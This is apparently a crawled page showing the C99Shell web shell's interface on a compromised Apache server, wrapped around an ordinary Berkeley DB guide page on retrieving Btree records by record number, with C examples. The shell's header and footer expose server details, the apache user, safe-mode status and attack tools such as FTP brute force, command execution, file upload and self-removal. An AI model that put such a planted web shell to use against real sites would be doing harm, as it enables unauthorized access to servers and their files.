!C99Shell v. 1.0 pre-release build #16!

Software: Apache/2.0.54 (Fedora). PHP/5.0.4 

uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 

uid=48(apache) gid=48(apache) groups=48(apache)
context=system_u:system_r:httpd_sys_script_t
 

Safe-mode: OFF (not secure)

/usr/share/doc/db4-devel-4.3.27/ref/am_conf/   drwxr-xr-x
Free 3.44 GB of 27.03 GB (12.73%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     bt_recnum.html (4.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Berkeley DB Reference Guide: Retrieving Btree records by logical record number

Berkeley DB Reference Guide:
Access Methods

PrevRefNext

Retrieving Btree records by logical record number

The Btree access method optionally supports retrieval by logical record numbers. To configure a Btree to support record numbers, call the DB->set_flags method with the DB_RECNUM flag.

Configuring a Btree for record numbers should not be done lightly. While often useful, it may significantly slow down the speed at which items can be stored into the database, and can severely impact application throughput. Generally it should be avoided in trees with a need for high write concurrency.

To retrieve by record number, use the DB_SET_RECNO flag to the DB->get and DBcursor->c_get methods. The following is an example of a routine that displays the data item for a Btree database created with the DB_RECNUM option.

int
rec_display(dbp, recno)
	DB *dbp;
	db_recno_t recno;
{
	DBT key, data;
	int ret;

memset(&key, 0, sizeof(key)); key.data = &recno; key.size = sizeof(recno); memset(&data, 0, sizeof(data));

if ((ret = dbp->get(dbp, NULL, &key, &data, DB_SET_RECNO)) != 0) return (ret); printf("data for %lu: %.*s\n", (u_long)recno, (int)data.size, (char *)data.data); return (0); }

To determine a key's record number, use the DB_GET_RECNO flag to the DBcursor->c_get method. The following is an example of a routine that displays the record number associated with a specific key.

int
recno_display(dbp, keyvalue)
	DB *dbp;
	char *keyvalue;
{
	DBC *dbcp;
	DBT key, data;
	db_recno_t recno;
	int ret, t_ret;

/* Acquire a cursor for the database. */ if ((ret = dbp->cursor(dbp, NULL, &dbcp, 0)) != 0) { dbp->err(dbp, ret, "DB->cursor"); goto err; }

/* Position the cursor. */ memset(&key, 0, sizeof(key)); key.data = keyvalue; key.size = strlen(keyvalue); memset(&data, 0, sizeof(data)); if ((ret = dbcp->c_get(dbcp, &key, &data, DB_SET)) != 0) { dbp->err(dbp, ret, "DBC->c_get(DB_SET): %s", keyvalue); goto err; }

/* * Request the record number, and store it into appropriately * sized and aligned local memory. */ memset(&data, 0, sizeof(data)); data.data = &recno; data.ulen = sizeof(recno); data.flags = DB_DBT_USERMEM; if ((ret = dbcp->c_get(dbcp, &key, &data, DB_GET_RECNO)) != 0) { dbp->err(dbp, ret, "DBC->c_get(DB_GET_RECNO)"); goto err; }

printf("key for requested key was %lu\n", (u_long)recno);

err: /* Close the cursor. */ if ((t_ret = dbcp->c_close(dbcp)) != 0) { if (ret == 0) ret = t_ret; dbp->err(dbp, ret, "DBC->close"); } return (ret); }


PrevRefNext

Copyright (c) 1996-2004 Sleepycat Software, Inc. - All rights reserved.


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0038 ]--